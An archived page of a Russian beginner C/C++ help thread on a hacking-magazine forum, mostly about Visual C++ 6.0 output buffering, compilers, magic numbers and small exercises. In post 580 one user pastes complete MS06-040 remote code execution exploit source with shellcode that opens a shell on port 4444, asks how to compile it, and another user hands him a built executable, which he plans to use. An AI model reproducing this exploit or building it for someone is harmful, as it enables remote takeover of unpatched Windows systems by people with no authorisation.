Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

RE: Вопросы по C/C++ (Для новичков)

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> RE: Вопросы по C/C++ (Для новичков)
Имя
Сообщение << Старые топики   Новые топики >>
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 16:36:19.470000   
hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000
другие писал с <iostream.h> ,без всяких std, и все работали .
а этот на консуле показывает

Hello World
press any key to continue . . .

может с паузой что то не то ?

P.S.
У меня Microsoft Visual Studio 6.0
Post #: 561
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 17:41:38.493333   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Ты объясни, почему не показывает "comment ended \n" и "AAA" ? Наверно у тебя старый .exe запускается, потому как твой код не компилируется.

А почему нужно писать без .h - описано практически в любой книжке по С++. Если ты ещё до этого не дошёл - то просто пробуй то, что тебе предлагают, а не спорь налево-направо.
Post #: 562
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 17:46:55.553333   
hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000
попробовал так как ты сказал (без h)
вот
#include &lt;iostream&gt; #include &lt;cstdlib&gt; int main () { cout &lt;&lt; "Hello World" &lt;&lt; endl ; cout &lt;&lt; "comment ended \n" ; cout &lt;&lt; "AAA" ; system("pause") ; return 0 ; }
вот что пишет в Build

Compiling…
C1.CPP
f:\hrant\vb & c++\c ++\jess liberty\hrant 3\c1.cpp(6) : error C2065: 'cout' : undeclared identifier
f:\hrant\vb & c++\c ++\jess liberty\hrant 3\c1.cpp(6) : error C2297: '&lt;&lt;' : illegal, right operand has type 'char [12]'
f:\hrant\vb & c++\c ++\jess liberty\hrant 3\c1.cpp(6) : error C2065: 'endl' : undeclared identifier
f:\hrant\vb & c++\c ++\jess liberty\hrant 3\c1.cpp(7) : error C2297: '&lt;&lt;' : illegal, right operand has type 'char [16]'
f:\hrant\vb & c++\c ++\jess liberty\hrant 3\c1.cpp(8) : error C2297: '&lt;&lt;' : illegal, right operand has type 'char [4]'
Error executing cl.exe.

Hrant 3.exe - 5 error(s), 0 warning(s)

ADDED:
quote:

Ты объясни, почему не показывает "comment ended \n" и "AAA" ? Наверно у тебя старый .exe запускается, потому как твой код не компилируется.

Компилируется , проверил добавив uuu к слову World
Post #: 563
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 17:49:17.660000   
rgo

Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
Да, блин, он пишет в vc6.0. А тому плевать на книжки, стандарты, using и .h
Там где-то в другом месте собака зарыта.
Post #: 564
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 17:57:18.556666   
hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000
Исправил сам
вместо \n поставил endl
вот
#include &lt;iostream.h&gt; #include &lt;cstdlib&gt; int main () { cout &lt;&lt; "Hello World" &lt;&lt; endl ; cout &lt;&lt; "comment ended" &lt;&lt; endl ; cout &lt;&lt; "AAA" &lt;&lt; endl ; system("pause") ; return 0 ; }
все исполняется нормально
Post #: 565
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 18:01:35.053333   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Ставь нормальный компилятор. Твоя программа не компилируется ни одним нормальным компилятором.
Post #: 566
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 18:08:18.250000   
hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000
получилось …
quote:


Исправил сам
вместо \n поставил endl
вот
#include &lt;iostream.h&gt;
#include &lt;cstdlib&gt;

int main ()
{
cout &lt;&lt; "Hello World" &lt;&lt; endl ;
cout &lt;&lt; "comment ended" &lt;&lt; endl ;
cout &lt;&lt; "AAA" &lt;&lt; endl ;
system("pause") ;
return 0 ;
}

все исполняется нормально

откуда взять …
в гугле не написеш нормальный компилятор для с++
Post #: 567
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 18:32:23.173333   
rgo

Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
quote:

ORIGINAL: hrantabe
Исправил сам
вместо \n поставил endl

Поздравляю :)
Я подозревал это, но так и не понял как это может влиять… Ладно б ты \r поставил, тогда было б понятно. Но \n ведь должна курсор вниз подвинуть, даже если там какая-нибудь путаница с \r \n возникает. Вариант, что строчки не "добежали" до консоли тоже не катит… Хотя, может и катит. Ну да ладно, можно долго гадать.

quote:

ORIGINAL: hrantabe
в гугле не написеш нормальный компилятор для с++

gcc. И Dev-C++ или Code::Blocks, или ещё что-нибудь в этом роде поверх него для удобства. Ну точнее надо выбрать то, что для удобства, а компилятор там в поставке идёт.
Post #: 568
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 18:34:25.210000   
rgo

Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
Попробуй так:
#include &lt;iostream.h&gt; #include &lt;cstdlib&gt; int main () { cout &lt;&lt; "Hello World" &lt;&lt; endl ; cout &lt;&lt; "comment ended \n"; cout &lt;&lt; "AAA" &lt;&lt; endl ; system("pause") ; return 0 ; } чё будет?
Post #: 569
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 18:58:40.650000   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Ты же в Visual Studio пишешь? - Так почему бы просто не взять поновее?

http://tinyurl.com/m436z2
Post #: 570
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 20:22:43.880000   
raven314

Сообщений: 101
Оценки: 0
Присоединился: 2008-11-02 11:03:05.490000
ребят, где с# скачать можно?
майкрософт ком чото недоступен.
спасите линками, мож есть у кого - залейте плиз.
а то гугл сколько не мучал - тока манулы всякие.
заранее спасибо!
Post #: 571
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 20:41:34.710000   
hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

quote:

ORIGINAL: rgo

Попробуй так:
#include &lt;iostream.h&gt; #include &lt;cstdlib&gt; int main () { cout &lt;&lt; "Hello World" &lt;&lt; endl ; cout &lt;&lt; "comment ended \n"; cout &lt;&lt; "AAA" &lt;&lt; endl ; system("pause") ; return 0 ; } чё будет?


так тоже все ок
и так тоже
#include &lt;iostream.h&gt; #include &lt;cstdlib&gt; int main () { cout &lt;&lt; "Hello World\n" ; cout &lt;&lt; "comment ended\n" ; cout &lt;&lt; "AAA " &lt;&lt;endl ; system("pause") ; return 0 ; } думаю главное в последней линии endl поставить .
Post #: 572
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 20:44:31.450000   
Denaturat

Сообщений: 1741
Оценки: 453
Присоединился: 2008-10-27 20:50:06.380000
quote:

ORIGINAL: hrantabe

думаю главное в последней линии endl поставить .


ну вашу же дивизию, когда вы начнёте хотя бы читать документацию (не говоря уже об исходниках)?

http://www.cplusplus.com/reference/iostream/manipulators/endl/

quote:


Additionally, for buffered streams, endl flushes the buffer (i.e. writes all unwritten characters in the buffer to the output sequence, see ostream::flush)
Post #: 573
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 21:00:46.016666   
rgo

Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
Не, понятно что endl будет выполнять fflush. Непонятно было другое:
1. '\n' не вызывает сброса буферов. Эта версия первой пришла мне в голову, но она не объяснила ситуации в силу 2.
2. закрытие std::cout вызванное вызовом exit (0), несомненно ведь сбросит буфера, и строчки должны появиться на экране.

В общем, я упустил из виду тот факт, что окошко-то закроется очень резко после завершения программы, и сброс буферов происходящий после system("pause") может оказатся незметным глазу. Ну не привык я к закрывающимся окошкам :)

Плюс ко всему… может я путаю чего. Но мне казалось, что впервые я столкнулся с этой буферизацией уже в линуксе. Ну с тем, что до перехода на новую строку (или явного вызова flush) реально никакого вывода на экран не будет. А до линукса я пользовал vc6.0. Вот я и смущён несколько сложившейся ситуацией.
Post #: 574
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 21:02:06.133333   
Zmaster

Сообщений: 930
Оценки: 0
Присоединился: 2007-02-09 19:02:43.500000
quote:

ORIGINAL: raven314

ребят, где с# скачать можно?
майкрософт ком чото недоступен.
спасите линками, мож есть у кого - залейте плиз.
а то гугл сколько не мучал - тока манулы всякие.
заранее спасибо!

Все тут доступно, не знаю что у тебя.
http://www.microsoft.com/rus/express/
Post #: 575
RE: Вопросы по C/C++ (Для новичков) - 2009-09-12 00:00:58.120000   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
quote:

ORIGINAL: raven314
майкрософт ком чото недоступен.

http://www.kaspersky.ru/support/wks6mp3/error?qid=208636215
Post #: 576
RE: Вопросы по C/C++ (Для новичков) - 2009-09-12 00:03:15.996666   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
quote:

ORIGINAL: rgo
Не, понятно что endl будет выполнять fflush. Непонятно было другое:
1. '\n' не вызывает сброса буферов. Эта версия первой пришла мне в голову, но она не объяснила ситуации в силу 2.

Зачем так глубоко копать. У человека был рабочий "Hello world", с уже готовыми exe и pdb и прочей лабудой. Он внёс какие-то неправильные изменения, не почитал, что ему говорит компилятор и нажал Yes при вопросе "Run last succesfull build".
Post #: 577
RE: Вопросы по C/C++ (Для новичков) - 2009-09-12 10:16:29.956666   
rgo

Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
quote:

ORIGINAL: _SaZ_
Зачем так глубоко копать. У человека был рабочий "Hello world", с уже готовыми exe и pdb и прочей лабудой. Он внёс какие-то неправильные изменения, не почитал, что ему говорит компилятор и нажал Yes при вопросе "Run last succesfull build".

Потому что тобою предложенная версия была отметена мною ещё раньше. И как видишь, действительно, не в ней дело.
Post #: 578
RE: Вопросы по C/C++ (Для новичков) - 2009-09-14 20:16:06.166666   
Denaturat

Сообщений: 1741
Оценки: 453
Присоединился: 2008-10-27 20:50:06.380000
quote:

ORIGINAL: rgo

Ну не привык я к закрывающимся окошкам :)


никогда не понимал, зачем консольное приложение отлаживать не в консоли, а в окне терминала
Post #: 579
RE: Вопросы по C/C++ (Для новичков) - 2009-09-21 14:02:04.146666   
raven314

Сообщений: 101
Оценки: 0
Присоединился: 2008-11-02 11:03:05.490000
/* * MS06-040 Remote Code Execution Proof of Concept * * Ported by ub3r st4r aka iRP * --------------------------------------------------------------------- * Tested Against: * Windows XP SP1 * Windows 2000 SP4 * * Systems Affected: * Microsoft Windows 2000 SP0-SP4 * Microsoft Windows XP SP0-SP1 * Microsoft Windows NT 4.0 * --------------------------------------------------------------------- * This is provided as proof-of-concept code only for educational * purposes and testing by authorized individuals with permission * to do so. * * PRIVATE v.0.2 (08-27-06) */ #include &lt;stdio.h&gt; #include &lt;windows.h&gt; #pragma comment(lib, "mpr") #pragma comment(lib, "Rpcrt4") // bind uuid interface: 4b324fc8-1670-01d3-1278-5a47bf6ee188 v3.0 unsigned char DCERPC_Bind_RPC_Service[] = "\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00" "\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00" "\xC8\x4F\x32\x4B\x70\x16\xD3\x01\x12\x78\x5A\x47\xBF\x6E\xE1\x88" "\x03\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00" "\x2B\x10\x48\x60\x02\x00\x00\x00"; // request windows api: NetprPathCanonicalize (0x1f) unsigned char DCERPC_Request_RPC_Service[] = "\x05\x00\x00\x03\x10\x00\x00\x00\x30\x08\x00\x00\x00\x00\x00\x00" "\x18\x08\x00\x00\x00\x00\x1f\x00\xff\xff\xff\xff\x01\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"; // path ... unsigned char DCERPC_Request_RPC_Service_[] = "\xfa\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00" "\x00\x00\x00\x00\xfa\x00\x00\x00\x00\x00\x00\x00"; unsigned char sc[] = "\x6a\x51\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa8\x97\x90" "\x88\x83\xeb\xfc\xe2\xf4\x29\x53\x6f\x67\x57\x68\xd4\x74\xc2\x7c" "\xdd\x60\x51\x68\x6f\x77\xc8\x1c\xfc\xac\x8c\x1c\xd5\xb4\x23\xeb" "\x95\xf0\xa9\x78\x1b\xc7\xb0\x1c\xcf\xa8\xa9\x7c\xd9\x03\x9c\x1c" "\x91\x66\x99\x57\x09\x24\x2c\x57\xe4\x8f\x69\x5d\x9d\x89\x6a\x7c" "\x64\xb3\xfc\xb3\xb8\xfd\x4d\x1c\xcf\xac\xa9\x7c\xf6\x03\xa4\xdc" "\x1b\xd7\xb4\x96\x7b\x8b\x84\x1c\x19\xe4\x8c\x8b\xf1\x4b\x99\x4c" "\xf4\x03\xeb\xa7\x1b\xc8\xa4\x1c\xe0\x94\x05\x1c\xd0\x80\xf6\xff" "\x1e\xc6\xa6\x7b\xc0\x77\x7e\xf1\xc3\xee\xc0\xa4\xa2\xe0\xdf\xe4" "\xa2\xd7\xfc\x68\x40\xe0\x63\x7a\x6c\xb3\xf8\x68\x46\xd7\x21\x72" "\xf6\x09\x45\x9f\x92\xdd\xc2\x95\x6f\x58\xc0\x4e\x99\x7d\x05\xc0" "\x6f\x5e\xfb\xc4\xc3\xdb\xfb\xd4\xc3\xcb\xfb\x68\x40\xee\xc0\x86" "\xcc\xee\xfb\x1e\x71\x1d\xc0\x33\x8a\xf8\x6f\xc0\x6f\x5e\xc2\x87" "\xc1\xdd\x57\x47\xf8\x2c\x05\xb9\x79\xdf\x57\x41\xc3\xdd\x57\x47" "\xf8\x6d\xe1\x11\xd9\xdf\x57\x41\xc0\xdc\xfc\xc2\x6f\x58\x3b\xff" "\x77\xf1\x6e\xee\xc7\x77\x7e\xc2\x6f\x58\xce\xfd\xf4\xee\xc0\xf4" "\xfd\x01\x4d\xfd\xc0\xd1\x81\x5b\x19\x6f\xc2\xd3\x19\x6a\x99\x57" "\x63\x22\x56\xd5\xbd\x76\xea\xbb\x03\x05\xd2\xaf\x3b\x23\x03\xff" "\xe2\x76\x1b\x81\x6f\xfd\xec\x68\x46\xd3\xff\xc5\xc1\xd9\xf9\xfd" "\x91\xd9\xf9\xc2\xc1\x77\x78\xff\x3d\x51\xad\x59\xc3\x77\x7e\xfd" "\x6f\x77\x9f\x68\x40\x03\xff\x6b\x13\x4c\xcc\x68\x46\xda\x57\x47" "\xf8\x67\x66\x77\xf0\xdb\x57\x41\x6f\x58"; int main(int argc, char* argv[]) { HANDLE hFile; NETRESOURCE nr; char szRemoteName[MAX_PATH], szPipePath[MAX_PATH]; unsigned int i; unsigned char szInBuf[4096]; unsigned long dwRead, nWritten; unsigned char szReqBuf[2096]; if (argc &lt; 3){ printf("[-] Usage: ms06040poc &lt;host&gt; [target]\n"); printf("\t1 - Windows 2000 SP0-SP4\n"); printf("\t2 - Windows XP SP0-SP1\n"); return -1; } memset(szReqBuf, 0, sizeof(szReqBuf)); if (atoi(argv[2]) == 1) { unsigned char szBuff[1064]; // build payload buffer memset(szBuff, '\x90', 1000); memcpy(szBuff+630, sc, sizeof(sc)); for(i=1000; i&lt;1064; i+=4) { memcpy(szBuff+i, "\x04\x08\x02\x00", 4); } // build request buffer memcpy(szReqBuf, DCERPC_Request_RPC_Service, sizeof(DCERPC_Request_RPC_Service)-1); memcpy(szReqBuf+44, "\x15\x02\x00\x00", 4); /* max count */ memcpy(szReqBuf+48, "\x00\x00\x00\x00", 4); /* offset */ memcpy(szReqBuf+52, "\x15\x02\x00\x00", 4); /* actual count */ memcpy(szReqBuf+56, szBuff, sizeof(szBuff)); memcpy(szReqBuf+1120, "\x00\x00\x00\x00", 4); /* align string */ memcpy(szReqBuf+1124, DCERPC_Request_RPC_Service_, sizeof(DCERPC_Request_RPC_Service_)-1); memcpy(szReqBuf+1140 , "\xeb\x02", 2); } if (atoi(argv[2]) == 2) { unsigned char szBuff[708]; memset(szBuff, '\x90', 612); /* size of shellcode */ memcpy(szBuff, sc, sizeof(sc)); memcpy(szBuff+612, "\x0a\x08\x02\x00", 4); memset(szBuff+616, 'A', 8); // 8 bytes padding memcpy(szBuff+624, "\x04\x08\x02\x00", 4); memset(szBuff+628, '\x90', 32); memcpy(szBuff+660, "\x04\x08\x02\x00", 4); memset(szBuff+664, 'B', 8); // 8 bytes padding memcpy(szBuff+672, "\x04\x08\x02\x00", 4); memset(szBuff+676, '\x90', 32); // build request buffer memcpy(szReqBuf, DCERPC_Request_RPC_Service, sizeof(DCERPC_Request_RPC_Service)-1); memcpy(szReqBuf+44, "\x63\x01\x00\x00", 4); /* max count */ memcpy(szReqBuf+48, "\x00\x00\x00\x00", 4); /* offset */ memcpy(szReqBuf+52, "\x63\x01\x00\x00", 4); /* actual count */ memcpy(szReqBuf+56, szBuff, sizeof(szBuff)); memcpy(szReqBuf+764, "\x00\x00\x00\x00", 4); /* align string */ memcpy(szReqBuf+768, DCERPC_Request_RPC_Service_, sizeof(DCERPC_Request_RPC_Service_)-1); } printf("[+] Connecting to %s ... \n", argv[1]); _snprintf(szRemoteName, sizeof(szRemoteName), "\\\\%s\\ipc$", argv[1]); nr.dwType = RESOURCETYPE_ANY; nr.lpLocalName = NULL; nr.lpProvider = NULL; nr.lpRemoteName = szRemoteName; if (WNetAddConnection2(&nr, "", "", 0) != NO_ERROR) { printf("[-] Failed to connect to host !\n"); return -1; } _snprintf(szPipePath, sizeof(szPipePath), "\\\\%s\\pipe\\browser", argv[1]); hFile = CreateFile(szPipePath, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("[-] Failed to open named pipe !\n"); return -1; } printf("[+] Binding to RPC interface ... \n"); if (TransactNamedPipe(hFile, DCERPC_Bind_RPC_Service, sizeof(DCERPC_Bind_RPC_Service), szInBuf, sizeof(szInBuf), &dwRead, NULL) == 0) { printf("[-] Failed to bind to interface !\n"); CloseHandle(hFile); return -1; } printf("[+] Sending RPC request ... \n"); if (!WriteFile(hFile, szReqBuf, sizeof(szReqBuf), &nWritten, 0)) { printf("[-] Unable to transmit RPC request !\n"); CloseHandle(hFile); return -1; } printf("[+] Now check for shell on %s:4444 !\n", argv[1]); return 0; } // milw0rm.com [2006-08-28]
ето си?
если да, то как скомпилить етот сплойт?
Post #: 580
RE: Вопросы по C/C++ (Для новичков) - 2009-09-21 14:27:15.873333   
Actek

Сообщений: 604
Оценки: 0
Присоединился: 2008-02-24 10:24:14.710000
это Си - любой компилятор бери и собирай
Post #: 581
RE: Вопросы по C/C++ (Для новичков) - 2009-09-21 14:36:23.450000   
raven314

Сообщений: 101
Оценки: 0
Присоединился: 2008-11-02 11:03:05.490000

quote:

ORIGINAL: Actek

это Си - любой компилятор бери и собирай


devcpp-4.9.9.2 подойдет?
собрал в файл *.с
все правильно?
Post #: 582
RE: Вопросы по C/C++ (Для новичков) - 2009-09-21 14:39:44.220000   
Actek

Сообщений: 604
Оценки: 0
Присоединился: 2008-02-24 10:24:14.710000
quote:

devcpp-4.9.9.2 подойдет?

пойдет
quote:

собрал в файл *.с

это исходный файл, тебе нужен исполняемый(exe)
Post #: 583
RE: Вопросы по C/C++ (Для новичков) - 2009-09-21 14:52:47.373333   
raven314

Сообщений: 101
Оценки: 0
Присоединился: 2008-11-02 11:03:05.490000
черт. как то я криво скомпилил.
Ацтек, можешь взять код и скинуть мне экзешник как нить?
очень прошу. весь день выношу себе моск етим сплойтом >_<
Post #: 584
RE: Вопросы по C/C++ (Для новичков) - 2009-09-21 15:01:26.890000   
Actek

Сообщений: 604
Оценки: 0
Присоединился: 2008-02-24 10:24:14.710000
держи
Post #: 585
RE: Вопросы по C/C++ (Для новичков) - 2009-09-21 15:07:20.850000   
raven314

Сообщений: 101
Оценки: 0
Присоединился: 2008-11-02 11:03:05.490000
спасибо.)
щас буду пытаться понять как это использовать >_>
Post #: 586
RE: Вопросы по C/C++ (Для новичков) - 2009-09-21 19:20:20.003333   
Denaturat

Сообщений: 1741
Оценки: 453
Присоединился: 2008-10-27 20:50:06.380000
quote:

ORIGINAL: raven314
ето си?
если да, то как скомпилить етот сплойт?

quote:

ORIGINAL: raven314
собрал в файл *.с

quote:

ORIGINAL: raven314
можешь взять код и скинуть мне экзешник как нить?
очень прошу. весь день выношу себе моск етим сплойтом &gt;_&lt;

quote:

ORIGINAL: raven314
щас буду пытаться понять как это использовать &gt;_&gt;


убивать
Post #: 587
RE: Вопросы по C/C++ (Для новичков) - 2009-09-21 20:14:10.146666   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Раньше в яндексе по запросу лайт эллой, 5-й результат поиска был таков:
quote:


Light Alloy 4.4.794 RC3
скачала light Alloy 4.0.6035 , а он у меня в формате winrar.Подскажите как правильно скачать эту программу. Amirhon | 09-09-06 02:39.


Почему-то мне это всё напоминает белокурых девушек с большими ( . )( . )
Post #: 588
RE: Вопросы по C/C++ (Для новичков) - 2009-09-30 17:02:00.663333   
hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000
Скажите а нужни ли нафиг блок схемы , чтобы знать С++ ?
Просто мы проходим это в институте .

Ещё есть одна функциа MessageBeep
( пишу MFC application )
вот пример

{
// TODO: Add your control notification handler code here
MessageBeep((WORD)-2) ;
}

Почему (WORD)-2 , а не одно из этих ( нашел в MSDN ) .

Value Desсriрtion
0xFFFFFFFF————————–SystemDefault
MB_ICONASTERISK————————–SystemAsterisk
MB_ICONEXCLAMATION————————–SystemExclamation
MB_ICONHAND————————–SystemHand
MB_ICONQUESTION————————–SystemQuestion
MB_OK————————–SystemDefault
Post #: 589
RE: Вопросы по C/C++ (Для новичков) - 2009-09-30 17:10:04.226666   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Убивать за волшебные числа в коде.
Post #: 590
RE: Вопросы по C/C++ (Для новичков) - 2009-09-30 17:13:35.580000   
hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000
?
Post #: 591
RE: Вопросы по C/C++ (Для новичков) - 2009-09-30 17:26:42.773333   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Анти-паттернт такой есть: Волшебные числа (Magic numbers). Включение необъяснимых чисел в алгоритмы.
Или http://ru.wikipedia.org/wiki/Магическое_число_(программирование)
Post #: 592
RE: Вопросы по C/C++ (Для новичков) - 2009-10-01 12:57:43.546666   
Mongol4uk

Сообщений: 20
Оценки: 0
Присоединился: 2009-05-26 19:19:22.326666
Ввести строку и букву, вывести только слова, начинающиеся с заданной буквы.
Не пишите полностью весь код, напишите только код отдельной части, а именно:
куда поместить вводимую строку и букву?(в виде кода)
Заранее спасибо!
Post #: 593
RE: Вопросы по C/C++ (Для новичков) - 2009-10-01 14:45:38.026666   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
std::string
char
Post #: 594
RE: Вопросы по C/C++ (Для новичков) - 2009-10-01 19:20:14.233333   
Mongol4uk

Сообщений: 20
Оценки: 0
Присоединился: 2009-05-26 19:19:22.326666
блин чето у меня не получается: как вот в этом задании задать функцию main?
Ввести строку и букву, вывести только слова, начинающиеся с заданной буквы.
Кому не лень напишите пожалуйста весь код, я сдаюсь
Post #: 595
RE: Вопросы по C/C++ (Для новичков) - 2009-10-01 20:02:09.900000   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Пиши сюда то, что ты уже сделал… И за одно укажи язык программирования: си или си++.
Post #: 596
RE: Вопросы по C/C++ (Для новичков) - 2009-10-01 20:59:36.380000   
Mongol4uk

Сообщений: 20
Оценки: 0
Присоединился: 2009-05-26 19:19:22.326666
С++
#include<stdio.h>
int main ()
{
int i,k,c;
char s[1000];
printf("Bbedute ctpoky u Ha)I(muTe enter,potom BBedute 6ykBy\n");
for(i=0;i<1000 && (c=getchar()) && c!=EOF;i++)
{
s=c;
if (c=='\n')
{
c=getchar();
if (c!= '\n' || c != ' ' || с != '\t')
{
s=c;
k=i;
break;
}
break;

}
}
for(i=0;i&lt;=k;i++)
{
printf("%c",s);

}
} пока что только так.
я хотел бы :
вводишь строку жмешь ентер и пока ты не нажал еще один символ цикл бы не остановился, что делать? где накасячил?
Post #: 597
RE: Вопросы по C/C++ (Для новичков) - 2009-10-01 21:21:55.963333   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Во первых, для оформления кода есть тэг code - без него нифига не понятно, что ты там написал.
Во вторых, не пиши столбиком, форматируй код.
В третьих, для чтения строки есть функция gets.
В четвёртых, у тебя не си++, а си.

Бесконечный цикл можно сделать так:
for( ; ; ) { // тело цикла } или так
while ( 1 ) { // тело цикла }
Вывод строки:
puts( s ) или printf( "%s", s );

Исправляйся ;)
Post #: 598
RE: Вопросы по C/C++ (Для новичков) - 2009-10-03 20:20:20.273333   
nicea

Сообщений: 25
Оценки: 0
Присоединился: 2009-05-09 19:41:22.990000
Пишу игру - змейку. Реализовал всё, кроме одного - чтобы змейка сама двигалась через определенное время. Намекните, как можно сделать, чтобы если в течении секунды я не нажимал клавишу, то змейка двигалась бы сама.
Не знаю нужно ли, но движение осуществлялось так.
button=getch(); switch(button) { case w:...... case d:....... case s:....... case a:...... }
Post #: 599
RE: Вопросы по C/C++ (Для новичков) - 2009-10-03 20:37:11.916666   
rgo

Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
2nicea
while (1) { if (kbhit ()) { button = getch (); switch (button) { ... } } else { // просто двигаем змейку. } delay (1000); // я не помню в чём измеряется аргумент для delay, но, в конце концов, размер паузы можно подобрать экспериментально. }
Post #: 600
Страниц:  1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15] 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
Все форумы >> [Компилируемые языки] >> RE: Вопросы по C/C++ (Для новичков)







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.